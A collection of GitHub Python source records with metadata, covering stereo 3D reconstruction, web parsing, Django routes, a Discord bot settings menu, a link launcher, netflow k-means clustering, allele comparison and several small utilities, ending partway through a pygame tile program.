np.float32(pts2), f, imgSize=(w1, h1)\n)\n\nimgl_rectified = cv.warpPerspective(image_left, H1, (w1, h1))\nimgr_rectified = cv.warpPerspective(image_right, H2, (w2, h2))\n#cv.imwrite(\"rectified_1.png\", imgl_rectified)\n#cv.imwrite(\"rectified_2.png\", imgr_rectified)\n\nfig, axes = plt.subplots(1, 2, figsize=(15, 10))\naxes[0].imshow(imgl_rectified, cmap=\"gray\")\naxes[1].imshow(imgr_rectified, cmap=\"gray\")\naxes[0].axhline(250)\naxes[1].axhline(250)\naxes[0].axhline(450)\naxes[1].axhline(450)\nplt.suptitle(\"Rectified images\")\n#plt.savefig(\"rectified_images.png\")\nplt.show()\n\n##________________________________Disparity map________________________________##\n\n#_________________Using StereoBM\nstereo = cv.StereoBM_create(numDisparities=16, blockSize=15)\ndisparity_BM = stereo.compute(imgl_rectified, imgr_rectified)\nplt.imshow(disparity_BM, \"gray\")\nplt.colorbar()\nplt.show()\n\ndisparity_map = np.float32(np.divide(disparity_BM, 16.0))\n\n#_____________ Using StereoSGBM\n# Set disparity parameters. Note: disparity range is tuned according to\n##  specific parameters obtained through trial and error.\n#min_disp = -1\n#max_disp = 31\n#block_size = 5\n#num_disp = max_disp - min_disp  # Needs to be divisible by 16\n#stereo = cv.StereoSGBM_create(minDisparity= min_disp,\n#    numDisparities = num_disp,\n#    blockSize = block_size,\n#    uniquenessRatio = 5,\n#    speckleWindowSize = 3,\n#    speckleRange = 2,\n#    disp12MaxDiff = 2) \n#\n#disparity_SGBM = stereo.compute(imgl_rectified, imgr_rectified)\n#plt.imshow(disparity_SGBM, \"gray\")\n#plt.colorbar()\n#plt.show()\n\n#disparityF = disparity_SGBM.astype(float)\n#maxv = np.max(disparityF.flatten())\n#minv = np.min(disparityF.flatten())\n#disparityF = 255.0*(disparityF-minv)/(maxv-minv)\n#disparityU = disparityF.astype(np.uint8)\n\n#disparity_map = np.float32(np.divide(disparity_SGBM, 16.0))\n\n#P = compute_P(K, R, T)\n#\n#hom_pts = cv.triangulatePoints(P, P, pts1.T, pts2.T)\n#\n#cld = cv.convertPointsFromHomogeneous(hom_pts.T)\n#\n#ply_from_list(cld)\n\n#Reprojection matrix\ncx = len(image_left[0]) / 2\ncy = len(image_left) / 2\nTx = 0.422 \n# projection matrix from opencv docs\nQ = np.float32([[1, 0, 0, -cx],\n                [0, 1, 0, cy],\n                [0, 0, 0, -f_pix],\n                [0, 0, 1, 0]])\n\n#From https://medium.com/@omar.ps16/stereo-3d-reconstruction-with-opencv-using-an-iphone-camera-part-iii-95460d3eddf0\n#Q = np.float32([[1, 0, 0, 0],\n#                [0, -1, 0, 0],\n#                [0, 0, 0, focal_length*0.5],\n#                [0, 0, 1, 0]])\n#Reproject to 3d\nimage3d = cv.reprojectImageTo3D(disparity_map, Q, handleMissingValues=False)\n\ncolors = cv.cvtColor(image_left, cv.COLOR_BGR2RGB)\nmask = disparity_map > disparity_map.min()\n\n\ncreate_point_cloud_file(image3d, colors, 'test2.ply')\n","repo_name":"JayamuruganRavikumar/planetarySurfaces_3DRecon","sub_path":"perserverance/scripts/uncalibrated_sift.py","file_name":"uncalibrated_sift.py","file_ext":"py","file_size_in_byte":14423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4259707225","text":"#!/usr/bin/python\n\nfrom bs4 import BeautifulSoup as BS\n\nsoup = BS(open(\"index.html\"))\nsoup.prettify()\n\nsoup = soup.find(id=\"content\")\n#soup = soup.encode('utf-8')\n\n#soup = BeautifulSoup(soup)\n\nprint(soup)\n\n#print soup.find(id=\"content\")\n#print soup.find_all('a')\n#print(soup.get_text())\n\n#for link in soup.find_all('a'):\n#    print(link.get('href'))\n","repo_name":"Kamaris/rlslog","sub_path":"rlslog.py","file_name":"rlslog.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21307520356","text":"from django.urls import path\nfrom documentation_app.views import index,LatestQuestionhtmView,detail,DetailView,vote,results,ResultsView,latest_question, latest_questionhtml,latest_questionhtml1,detail404\n#this app name is for differentiate b/w url among multiple different app in {%url } check in index.html\napp_name = 'documentation_app'\nurlpatterns = [\n    path('index/', LatestQuestionhtmView.as_view(), name='index1'),\n    #Generic detail view DetailView must be called with either an object pk or a slug in the URLconf.\n    path('<int:pk>/', DetailView.as_view(), name='detail'), \n    path('<int:question_id>/detail/', detail404, name='detail404concept'),\n    path('<int:pk>/results/', ResultsView.as_view(), name='results'),\n    path('<int:question_id>/vote/', vote, name='vote'),\n    path('latest/',latest_question, name=\"latestquestion\"),\n    path('latesthtml/',latest_questionhtml, name=\"questionhtml\"),\n    path('latesthtml1/',latest_questionhtml1, name=\"questionhtmlrender\"),\n]\n","repo_name":"SatishNitk/Django","sub_path":"documentation_project1/documentation_project/documentation_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"557683534","text":"import time\nimport json\nimport os\nfrom sys import exit\ndef menu():\n import json\n file = open(\"settings.json\", \"r\")\n data = json.load(file)\n file.close()\n print('================================')\n print(f'| [0] Exit And Save           |')\n print(f'| [1] Change All Settings     |')\n print(f'| [2] Change Token            |')\n print(f'| [3] Change Channel          |')\n print(f'| [4] Change Bet Amount       |')\n print('================================')\n choice = input(\"Enter Your Choice: \")\n if choice == \"0\":\n  raise SystemExit\n if choice == \"1\":\n  t(data,\"True\")\n  c(data,\"True\")\n  be(data,\"True\")\n if choice == \"2\":\n  t(data,\"False\")\n if choice == \"3\":\n  c(data,\"False\")\n if choice == \"4\":\n  bet(data,\"False\")\ndef t(data,all):\n data['token'] = input(\"Please Enter Your Account Token: \")\n file = open(\"settings.json\", \"w\")\n json.dump(data, file)\n file.close()\n print('Successfully saved!')\n if not all == \"True\":\n  menu()\ndef c(data,all):\n data['channel'] = input(\"Please Enter Your Channel ID: \")\n file = open(\"settings.json\", \"w\")\n json.dump(data, file)\n file.close()\n print('Successfully saved!')\n if not all == \"True\":\n  menu()\ndef bet(data,all):\n data['bet'] = input(\"Enter Your Bet Amount (Must Be Integer): \")\n file = open(\"settings.json\", \"w\")\n json.dump(data, file)\n file.close()\n print('Successfully saved!')\n if not all == \"True\":\n  menu()\n","repo_name":"ahihiyou20/OwO-Gamble","sub_path":"newdata.py","file_name":"newdata.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"27782046422","text":"from tkinter import Tk, Label, Button, Frame\nimport tkinter\nimport webbrowser as wb\nimport requests as rq\nfrom bs4 import BeautifulSoup as BS\nfrom functools import partial\n## pyinstaller\n## pyinstaller helper.py\nurl_dict={\n    \"Python\" : \"https://docs.python.org/3/\",\n    \"Ruby\" : \"https://ruby-doc.org/\",\n    \"Java\" : \"https://docs.oracle.com/javase/7/docs/api/\",\n    \"C++\" : \"https://devdocs.io/cpp/\",\n    \"C\" : \"https://devdocs.io/c/\",\n    \"DevDocsGathering\" : \"https://devdocs.io/c/\",\n    \"Tkinter\":\"https://www.tutorialspoint.com/python/python_gui_programming.htm\",\n    \"생활코딩\":\"https://opentutorials.org/course/1\",\n    \"ssafy\":\"https://edu.ssafy.com/\",\n    \"Codecademy\":\"https://www.codecademy.com/catalog/subject/all\",\n    \"Udacity\":\"https://www.udacity.com/\",\n    \"Edx\":\"https://www.edx.org/\",\n    \"Coursera\":\"https://www.coursera.org/\",\n    \"Programmers\":\"https://programmers.co.kr/learn\",\n    \"Udemy\":\"https://www.udemy.com/everything-about-white-hat-hacker/\",\n    \"TutorialPoint\":\"https://www.tutorialspoint.com/tutorialslibrary.htm\",\n    'javascript33@github':'https://github.com/leonardomso/33-js-concepts/blob/master/README.md'\n\n}\n\nml_dict={\n    \"Numpy\":\"http://www.numpy.org/\",\n    \"Pandas\":\"https://pandas.pydata.org/\",\n    \"matplotlib\":\"https://matplotlib.org/\",\n    \"seaborn\":\"https://seaborn.pydata.org/\",\n    \"Tensorflow\":\"https://www.tensorflow.org/api_docs/python/tf\",\n    \"Keras\":\"https://keras.io/getting-started/functional-api-guide/\",\n    \"sklearn\":\"https://scikit-learn.org/stable/modules/classes.html\",\n    \"ArcGIS\":\"https://www.arcgis.com/index.html\",\n    \"Qgis\":\"https://qgis.org/ko/site/\",\n\n}\n\nweb_dict={\n    \"flask\":\"http://flask.pocoo.org/\",\n    \"Selenium\":\"https://www.seleniumhq.org/\",\n    \"request\":\"http://docs.python-requests.org/en/master/\",\n    \"bs4\":\"https://www.crummy.com/software/BeautifulSoup/bs4/doc/\",\n    \"Jinja2\":\"http://jinja.pocoo.org/docs/2.10/\",\n    \"c9_AWS\":\"https://c9.io/start\",\n    \"poiemaweb\":\"https://poiemaweb.com/\",\n    \"bootstrap\":\"https://getbootstrap.com/\",\n    \"jquery-API\":\"https://api.jquery.com/\",\n    \"html_color_helper\":\"https://htmlcolorcodes.com/\",\n    \"color hex\":\"https://www.color-hex.com/\",\n    \"color-group\":\"https://colordrop.io/\",\n    \"motion-function\":\"https://matthewlein.com/tools/ceaser\",\n    \"fontello\":\"http://fontello.com/\",\n    \"fontAwesome\":\"https://fontawesome.com/\",\n    \"google font\":\"https://fonts.google.com/?query=anton&selection.family=Anton\",\n    \"spoqa han sans\":\"https://spoqa.github.io/spoqa-han-sans/ko-KR/\",\n    \"thenounproject\":\"https://thenounproject.com/\",\n    \"lolempicsum\" : \"https://picsum.photos/\",\n    \"lorempixel\":\"http://lorempixel.com/\",\n    \"loremipsum\":\"https://www.lipsum.com/\",\n    \"Favicon\":\"https://www.favicon-generator.org/\",\n    \"Django\":\"https://docs.djangoproject.com/en/2.1/\",\n    \"MD-HTML\":\"https://www.browserling.com/tools/markdown-to-html\",\n    'Vue':'https://vuejs.org/',\n    'rigetti_Quantum_server':'https://www.rigetti.com/qcs',\n}\n\nalgo_dict={\n    \"백준 알고리즘\":\"https://www.acmicpc.net/\",\n    \"SWEA\" : \"https://www.swexpertacademy.com/main/main.do\",\n    \"CodeForce\" : \"https://codeforces.com/\",\n    \"Y-combinator\":'https://www.ycombinator.com/',\n}\n\n\ndef button_generator(root,url_Dict):\n    button=[]\n    for key in url_Dict:\n        partial_openWb=partial(wb.open,url_Dict[key])\n        tmp_button=Button(root,text=key,command=partial_openWb)\n        button+=[tmp_button]\n    return button\n\n# GUI\nroot=Tk()\nroot.geometry(\"400x990+10+10\")\nroot.title(\"Helper for SoftWare Study\")\n\nframe1=Frame(root,relief=\"solid\",bd=2, width=400, height=260, pady=3, bg=\"#2E94B9\")\nframe1.pack(side=\"top\",fill=\"x\",expand=True)\n\nframe2=Frame(root,relief=\"solid\",bd=2, width=400, height=350, pady=3, bg='#FFFDC0')\nframe2.pack(fill=\"x\",expand=True)\n\nframe3=Frame(root,relief=\"solid\",bd=2, width=400, height=150, pady=3, bg='#F0B775')\nframe3.pack(fill=\"x\",expand=True)\n\nframe4=Frame(root,relief=\"solid\",bd=2, width=400, height=230, pady=3, bg='#D25565')\nframe4.pack(side=\"bottom\",fill=\"x\",expand=True)\n\nlabel1=Label(frame1,text=\"Language and sort of things\",font=10)\nlabel2=Label(frame2,text=\"Web-related\")\nlabel3=Label(frame3,text=\"Algorithms & others\")\nlabel4=Label(frame4,text=\"Machine Learning\")\nlabel1.config(font=(\"20\"))\nlabel2.config(font=(\"20\"))\nlabel3.config(font=(\"20\"))\nlabel4.config(font=(\"20\"))\n#button1=Button(root,text=\"Python\",command=partial_openWb_python)\nbutton1=button_generator(frame1,url_dict)\nbutton2=button_generator(frame2,web_dict)\nbutton3=button_generator(frame3,algo_dict)\nbutton4=button_generator(frame4,ml_dict)\n## Geometry manager\nlabel1.pack()\nlabel1.place(x=20, y=0)\nlabel2.pack()\nlabel2.place(x=20, y=0)\nlabel3.pack()\nlabel3.place(x=20, y=0)\nlabel4.pack()\nlabel4.place(x=20, y=0)\n\n# for idx,_button in enumerate(button1+button2+button3+button4):\n#     _button.pack()s\n\nfor idx,_button in enumerate(button1):\n    _button.pack()\n    if idx<6:\n        _button.place(x=10, y=30*(idx+1))\n    elif idx<12:\n        _button.place(x=10+120, y=30*(idx-5))\n    else:\n        _button.place(x=10+240, y=30*(idx-11))\n\nfor idx,_button in enumerate(button2):\n    _button.pack()\n    if idx<10:\n        _button.place(x=10, y=30*(idx+1))\n    elif idx<20:\n        _button.place(x=10+120, y=30*(idx-7))\n    else:\n        _button.place(x=10+240, y=30*(idx-15))\n        \nfor idx,_button in enumerate(button3):\n    _button.pack()\n    if idx<6:\n        _button.place(x=10, y=30*(idx+1))\n    elif idx<12:\n        _button.place(x=10+120, y=30*(idx-5))\n    else:\n        _button.place(x=10+240, y=30*(idx-11))\n\nfor idx,_button in enumerate(button4):\n    _button.pack()\n    if idx<6:\n        _button.place(x=10, y=30*(idx+1))\n    elif idx<12:\n        _button.place(x=10+120, y=30*(idx-5))\n    else:\n        _button.place(x=10+240, y=30*(idx-11))\n\n\nroot.mainloop()\n\n\n","repo_name":"Cornelii/SSA","sub_path":"official_helper/site_helper/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":5797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10237309476","text":"# library import\nimport time\nimport os\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport plotly.graph_objs as go\nimport numpy as np\nimport csv\nimport random\n\nfrom pandas import merge\nfrom scipy import stats\nfrom collections import Counter\nfrom plotly.offline import init_notebook_mode, iplot\nfrom sklearn.cluster import KMeans\nfrom sklearn.utils import shuffle\nfrom sklearn.decomposition import PCA\n\ninit_notebook_mode(connected=True)\n\n# 2D 그래프로 표현\ndef gettrace(patient_clusters, cluster_num):\n    r = random.randrange(1,255)\n    g = random.randrange(1,255)\n    b = random.randrange(1,255)\n    return go.Scatter(x = patient_clusters[patient_clusters.cluster == cluster_num]['x'],\n                   y = patient_clusters[patient_clusters.cluster == cluster_num]['y'],\n                   name = \"Cluster {}\".format(cluster_num+1),\n                   mode = \"markers\",\n                   marker = dict(size = 10,\n                                 color = \"rgba({0}, {1}, {2}, 0.5)\".format(r, g, b),\n                                 line = dict(width = 1, color = \"rgb(0,0,0)\")))\n\n# 최적의 클러스터 개수를 추출하기 위한 함수\ndef elbow(X):\n    sse = []\n    for i in range(1, 10):\n        km = KMeans(n_clusters=i, init='k-means++', random_state=0)\n        km.fit(X)\n        sse.append(km.inertia_)\n        print (km.inertia_)\n    plt.plot(range(1, 10), sse, marker='o')\n    plt.xlabel('cluster count')\n    plt.ylabel('SSE')\n    plt.show()\n\nsrc_dic = {}\ndst_dic = {}\n\nloopcnt = 0\n\nf = open('data/netflow_dump.csv', 'r', encoding='utf-8')\nrdr = csv.reader(f)\n\nfor line in rdr:\n    src = line[0]\n    dst = line[1]\n\n    src_dic.setdefault(src, set())\n    src_dic[src].add(dst)\nf.close()\n\ndst_li = [len(x) for x in src_dic.values()]\n\n# 고유한 DST ADDR 수집\nid_dst_dic = {}\nfor dst_set_li in src_dic.values():\n    for x in dst_set_li:\n        if x not in id_dst_dic:\n            id_dst_dic.setdefault(x, len(id_dst_dic))\n\nprint(\"# of left dst:%d\" % (len(id_dst_dic)))\n\nid_src_dic = {}\n\n# DST ADDR 개수\nall_dst_count = len(id_dst_dic)\n\nproduc_columns = [x for x in id_dst_dic.values()]\nproduc_columns.sort()\nproduc_columns.insert(0, 'srcip')\n\ndf = pd.DataFrame(columns=produc_columns)\n\nfor srcip, dsts in src_dic.items():\n    src_dst_vec = [0] * all_dst_count\n\n    id_src_dic[len(id_src_dic)] = srcip\n\n    for dstip in dsts:\n        src_dst_vec[id_dst_dic[dstip]] = 1\n\n    # 첫번째 columns를 src ip로한 dataframe 생성\n    src_dst_vec.insert(0, srcip)\n    df.loc[len(id_src_dic)] = [n for n in src_dst_vec]\n\n# 데이터를 랜덤으로 섞는다    \ndf = shuffle(df)\n\n# 데이터의 70%만 추출\ntran_lenght = int(len(df) * 0.7)\n\n# 학습 데이터와 테스트 데이터로 분리\ntrain_data = df[df.columns[1:]][:tran_lenght+1]\ntest_data = df[df.columns[1:]][tran_lenght:]\n\nprint (\"70% data count: \", tran_lenght)\n\n# 최적의 클러스터 확인\nelbow(train_data)\n\ncols = df.columns[1:]\n\nclusternum = 4\n\n# 데이터 학습\nkmeans = KMeans(n_clusters = clusternum)\nkmeans.fit(train_data)\n\n# 테스트 데이터 클러스터\ntest_clusters = df[:][tran_lenght:]\ntest_clusters[\"cluster\"] = kmeans.predict(test_data)\ntest_clusters.tail()\n\n# 좌표 데이터 추출\npca = PCA(n_components = 2)\ntest_clusters['x'] = pca.fit_transform(test_clusters[cols])[:, 0]\ntest_clusters['y'] = pca.fit_transform(test_clusters[cols])[:, 1]\ntest_clusters.tail()\n\n# dataframe 재정의(ip, cluster, x, y)\npatient_clusters = test_clusters[['srcip', 'cluster', 'x', 'y']]\npatient_clusters.tail()\n\n# 2D 그래프로 시각화\ndata = []\nfor idx in range(clusternum):\n    data.append(gettrace(patient_clusters, idx))\n\niplot(data)\n","repo_name":"Byeongin-Jeong/clustering","sub_path":"kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19373146741","text":"from DataWrangling.RosenbergImmunogenicityAnnotatorLong import *\nfrom DataWrangling.RosenbergImmunogenicityAnnotatorShort import *\nfrom Utils.DataManager import *\n\nrosenberg_info_file = GlobalParameters().get_gartner_info_excel_file()\ndata_test = pd.read_excel(open(rosenberg_info_file, 'rb'), sheet_name='Supplementary Table 18', header=1, nrows=26)\ndata_train = pd.read_excel(open(rosenberg_info_file, 'rb'), sheet_name='Supplementary Table 1', header=1, nrows=70)\n\ngartner_data = pd.concat([data_test, data_train], ignore_index=True)\ngartner_data = gartner_data[['ID', 'Patient HLAs']]\n\ngartner_data.rename({'ID': 'Patient', 'Patient HLAs': 'Gartner class I alleles'}, axis=1, inplace=True)\ngartner_data = gartner_data.astype({'Patient': str, 'Gartner class I alleles': str})\n\nmgr = DataManager()\n\ninhouse_info = []\nfor p in gartner_data['Patient']:\n    if p in mgr.get_valid_patients(peptide_type='long'):\n        alleles = mgr.get_classI_allotypes(str(p))\n        if len(alleles) > 0:\n            alleles = list(map(lambda a: 'HLA-'+a.replace('*', ''), alleles))\n            inhouse_info.append([p, \", \".join(alleles)])\n\ninhouse_data = pd.DataFrame(inhouse_info, columns=['Patient', 'In-house class I alleles'])\ninhouse_data = inhouse_data.astype({'Patient': str, 'In-house class I alleles': str})\n\ncomb_data = pd.merge(gartner_data, inhouse_data, how=\"inner\", on=[\"Patient\"])\n\n\ndef count_alleles(allele_str):\n    return len(allele_str.split(', '))\n\n\ndef count_allele_overlap(allele_str1, allele_str2):\n    als = allele_str1.split(', ')\n    cnt = 0\n    for a in als:\n        if a in allele_str2:\n            cnt += 1\n    return cnt\n\n\ncomb_data['In-house class I allele count'] = \\\n    comb_data.apply(lambda r: len(r['In-house class I alleles'].split(',')), axis=1)\ncomb_data['Gartner class I allele count'] = \\\n    comb_data.apply(lambda r: len(r['Gartner class I alleles'].split(',')), axis=1)\ncomb_data['In-house/Gartner allele overlap count'] = \\\n    comb_data.apply(lambda r: count_allele_overlap(r['In-house class I alleles'], r['Gartner class I alleles']), axis=1)\n\nordered_columns = \\\n    ['Patient',\n     'Gartner class I alleles',\n     'In-house class I alleles',\n     'Gartner class I allele count', \n     'In-house class I allele count', \n     'In-house/Gartner allele overlap count']\n\ncomb_data = comb_data[ordered_columns]\n\ncomb_data.to_csv(os.path.join(GlobalParameters().get_plot_dir(), 'Compare_In-house_Gartner_alleles.txt'),\n                 header=True, index=False, sep=\"\\t\")\n\ncnt = comb_data.shape[0]\nidx = comb_data.apply(lambda row:\n                      row['In-house class I allele count'] == row['In-house/Gartner allele overlap count'] and\n                      row['In-house class I allele count'] == row['Gartner class I allele count'],\n                      axis=1)\ncnt_match = sum(idx)\n\nprint(\"From {0} patients, {1} have same alleles\".format(cnt, cnt_match))\nno_match = comb_data.loc[~ np.array(idx), :]\nno_match.apply(lambda row:\n               print(\"Patient: {0}\\tGartner: {1}\\tIn-house: {2}\".\n                     format(row['Patient'],\n                            set.difference(set(row['Gartner class I alleles'].split(', ')),\n                                           set(row['In-house class I alleles'].split(', '))),\n                            set.difference(set(row['In-house class I alleles'].split(', ')),\n                                           set(row['Gartner class I alleles'].split(', '))))), axis=1)\n\n\n\n","repo_name":"bassanilab/NeoRanking","sub_path":"Scripts/paper/CompareInHouseGartnerAlleles.py","file_name":"CompareInHouseGartnerAlleles.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"7493001182","text":"import tensorflow as tf\n\ndef call_tracker(name, cache={}):\n    fullname = \"%s/%s\" % (tf.get_default_graph().get_name_scope(), name)\n    if fullname in cache:\n        cache[fullname] += 1\n        return \"%s_%d\" % (name, cache[fullname])\n    else:\n        cache[fullname] = 0\n        return name\n\ndef adapt_name(name, default, cache={}, numbering=True):\n    if name is not None:\n        return name\n    elif numbering:\n        return default\n    else:\n        return call_tracker(default, cache=cache)\n","repo_name":"kkleidal/kentf","sub_path":"scoping.py","file_name":"scoping.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"2379994444","text":"from decimal import Decimal\nimport inspect\n\nfrom strategy import Customer, LineItem, Order\nimport promotions\n\npromos = [func for _, func in inspect.getmembers(promotions, inspect.isfunction)]\n\ndef best_promo(order):\n    return max(promo(order) for promo in promos)\n\nif __name__ == '__main__':\n    joe = Customer('John Doe', 0)\n    cart = [LineItem('banana', 4, Decimal('.5')),\n            LineItem('apple', 10, Decimal('1.5')),\n            LineItem('watermelon', 5, Decimal(5))]\n    order = Order(joe, cart, best_promo)\n    print(order)","repo_name":"namwooo/ilovepython","sub_path":"design_patterns/strategy/best_promo.py","file_name":"best_promo.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70673115940","text":"\"\"\" Automated tests for HW09_Student_Repository.py \"\"\"\n\n\nimport unittest\nimport os\nfrom Student_Repository_Diaeddin_Motan import Repository, Student, Instructor, Major\nfrom utilities import file_reader\nimport sqlite3\n\n\nclass TestRepository(unittest.TestCase):\n    def setUp(self):\n        self.test_path = '/Users/dmotan/Desktop/Master/SSW-810/week11'\n        self.repo = Repository(self.test_path, False)\n\n    # def test_Student_attributes(self):\n    #     \"\"\" Verify that a specific student is set up properly \"\"\"\n    #     expected = {\n    #         '10103': ('10103', 'Baldwin, C', ['CS 501', 'SSW 564', 'SSW 567', 'SSW 687'], ['SSW 540', 'SSW 555'], [], 3.44),\n    #         '10115': ('10115', 'Wyatt, X', ['CS 545', 'SSW 564', 'SSW 567', 'SSW 687'], ['SSW 540', 'SSW 555'], [], 3.81),\n    #         '10172': ('10172', 'Forbes, I', ['SSW 555', 'SSW 567'], ['SSW 540', 'SSW 564'], ['CS 501', 'CS 513', 'CS 545'], 3.88),\n    #         '10175': ('10175', 'Erickson, D', ['SSW 564', 'SSW 567', 'SSW 687'], ['SSW 540', 'SSW 555'], ['CS 501', 'CS 513', 'CS 545'], 3.58),\n    #         '10183': ('10183', 'Chapman, O', ['SSW 689'], ['SSW 540', 'SSW 555', 'SSW 564', 'SSW 567'], ['CS 501', 'CS 513', 'CS 545'], 4.0),\n    #         '11399': ('11399', 'Cordova, I', ['SSW 540'], ['SYS 612', 'SYS 671', 'SYS 800'], [], 3.0),\n    #         '11461': ('11461', 'Wright, U', ['SYS 611', 'SYS 750', 'SYS 800'], ['SYS 612', 'SYS 671'], ['SSW 540', 'SSW 565', 'SSW 810'], 3.92),\n    #         '11658': ('11658', 'Kelly, P', ['SSW 540'], ['SYS 612', 'SYS 671', 'SYS 800'], [], 0.0),\n    #         '11714': ('11714', 'Morton, A', ['SYS 611', 'SYS 645'], ['SYS 612', 'SYS 671', 'SYS 800'], ['SSW 540', 'SSW 565', 'SSW 810'], 3.0),\n    #         '11788': ('11788', 'Fuller, E', ['SSW 540'], ['SYS 612', 'SYS 671', 'SYS 800'], [], 4.0)\n    #     }\n\n    #     calculated = {cwid: student.pt_row()\n    #                   for cwid, student in self.repo._students.items()}\n\n    #     self.assertEqual(expected, calculated)\n\n    # def test_Instructor_attributes(self):\n    #     \"\"\" Verify that a specific instructor is set up properly \"\"\"\n    #     expected = {\n    #         ('98765', 'Einstein, A', 'SFEN', 'SSW 567', 4),\n    #         ('98765', 'Einstein, A', 'SFEN', 'SSW 540', 3),\n    #         ('98764', 'Feynman, R', 'SFEN', 'SSW 564', 3),\n    #         ('98764', 'Feynman, R', 'SFEN', 'SSW 687', 3),\n    #         ('98764', 'Feynman, R', 'SFEN', 'CS 501', 1),\n    #         ('98764', 'Feynman, R', 'SFEN', 'CS 545', 1),\n    #         ('98763', 'Newton, I', 'SFEN', 'SSW 555', 1),\n    #         ('98763', 'Newton, I', 'SFEN', 'SSW 689', 1),\n    #         ('98760', 'Darwin, C', 'SYEN', 'SYS 800', 1),\n    #         ('98760', 'Darwin, C', 'SYEN', 'SYS 750', 1),\n    #         ('98760', 'Darwin, C', 'SYEN', 'SYS 611', 2),\n    #         ('98760', 'Darwin, C', 'SYEN', 'SYS 645', 1)\n    #     }\n\n    #     calculated = {tuple(detail) for instructor in self.repo._instructors.values(\n    #     ) for detail in instructor.pt_row()}\n\n    #     self.assertEqual(expected, calculated)\n\n    # def test_Major_attributes(self):\n    #     \"\"\" Verify that a specific major is set up properly \"\"\"\n    #     expected = {\n    #         'SFEN': ('SFEN', ['SSW 540', 'SSW 555', 'SSW 564', 'SSW 567'], ['CS 501', 'CS 513', 'CS 545']),\n    #         'SYEN': ('SYEN', ['SYS 612', 'SYS 671', 'SYS 800'], ['SSW 540', 'SSW 565', 'SSW 810']),\n    #     }\n\n    #     calculated = {name: major.pt_row()\n    #                   for name, major in self.repo._majors.items()}\n\n    #     self.assertEqual(expected, calculated)\n\n    def test_student_grade_summary(self):\n        \"\"\" Verify that a specific major is set up properly \"\"\"\n        DB_FILE: str = \"/Users/dmotan/Desktop/Master/SSW-810/week11/810_student_repo.db\"\n        db: sqlite3.Connection = sqlite3.connect(DB_FILE)\n\n        expected = {\n            ('Bezos, J', '10115', 'SSW 810', 'A', 'Rowland, J'),\n            ('Bezos, J', '10115', 'CS 546', 'F', 'Hawking, S'),\n            ('Gates, B', '11714', 'SSW 810', 'B-', 'Rowland, J'),\n            ('Gates, B', '11714', 'CS 546', 'A', 'Cohen, R'),\n            ('Gates, B', '11714', 'CS 570', 'A-', 'Hawking, S'),\n            ('Jobs, S', '10103', 'SSW 810', 'A-', 'Rowland, J'),\n            ('Jobs, S', '10103', 'CS 501', 'B', 'Hawking, S'),\n            ('Musk, E', '10183', 'SSW 555', 'A', 'Rowland, J'),\n            ('Musk, E', '10183', 'SSW 810', 'A', 'Rowland, J')\n        }\n\n        calculated = {row\n                      for row in db.execute(\"select s.Name, s.CWID, g.Course, g.Grade, i.Name from grades g join students s on s.CWID=g.StudentCWID join instructors i on g.InstructorCWID=i.CWID order by s.Name asc\")}\n\n        self.assertEqual(expected, calculated)\n\n\nif __name__ == '__main__':\n    unittest.main(exit=False, verbosity=2)\n","repo_name":"dmotan/Student-Repository","sub_path":"Student_Repository_Test_Diaeddin_Motan.py","file_name":"Student_Repository_Test_Diaeddin_Motan.py","file_ext":"py","file_size_in_byte":4809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11254118711","text":"from __future__ import division\nimport pygame\nimport sys\nimport math\npygame.init()\nWIDTH = 800\nHEIGHT = 600\nwindowSurface = pygame.display.set_mode((WIDTH, HEIGHT))\nimport objects\nimport drawers\nimport misc\n\n\"\"\" baseInfinity.py\nby Eric J.Parfitt (ejparfitt@gmail.com)\n\nThis program lets one arrange certain tiles together which emulate a\nrule 110 cellular automaton.\n\nVersion: 1.0 alpha\n\"\"\"\n\nFPS = 60\nclock = pygame.time.Clock()\n\n# The speed with which the display resizes\nRESIZE_FACT = .9\n# Factors for determining maximum and minimum scale when zooming in or\n# out\nMAX_SCALE = 1\nMIN_SCALE = .005\n\n# Tiles keeps track of tiles, with tiles at the top layer at the end of\n# the list, and tiles at the bottom at the beginning of the list\ntiles = []\n\n# isSnapped refers to whether or not two groups of tiles currently\n# appear snaped together\nisScrollUp = isScrollDown = isDrag = isMouseDown = isLDown = isRDown = \\\n        isSnapped = False\n# gridRes refers to the resolution of a grid on which tiles are placed,\n# which increases when zoomed in and decreases when zoomed out\noldMouseLoc = gridRes = None\n# selectedTile is the tile which is currently being clicked on.\n# snadTile is the first tile from one moving group to attempt to snap to\n# a tile in another group.  snadSide and adjSide are the sides which are\n# going to snap together, snapd being the moving one, and adj being the\n# stationary one.  snapdTile keeps track of one of the tiles which could\n# snap to another one if the user unclicks\nselectedTile = snapdTile = snapdSide = adjSide = None\nselectedTiles = []\n# sidesToSnap keeps track of tiles which can potentially be merged\n# into one snapped together group if the mouse is unclicked\nsidesToSnap = []\nmyCanvas = objects.Canvas(tiles, windowSurface)\n# Sets up a grid which is used to only update tiles near the tiles\n# currently being modified.\ngrid, gridRes = misc.setGrid(myCanvas, tiles)\n# palletBack is just a white rectangle which is drawn behind the\n# tile pallet, which has all the tiles which can be chosen from\npalletBack = 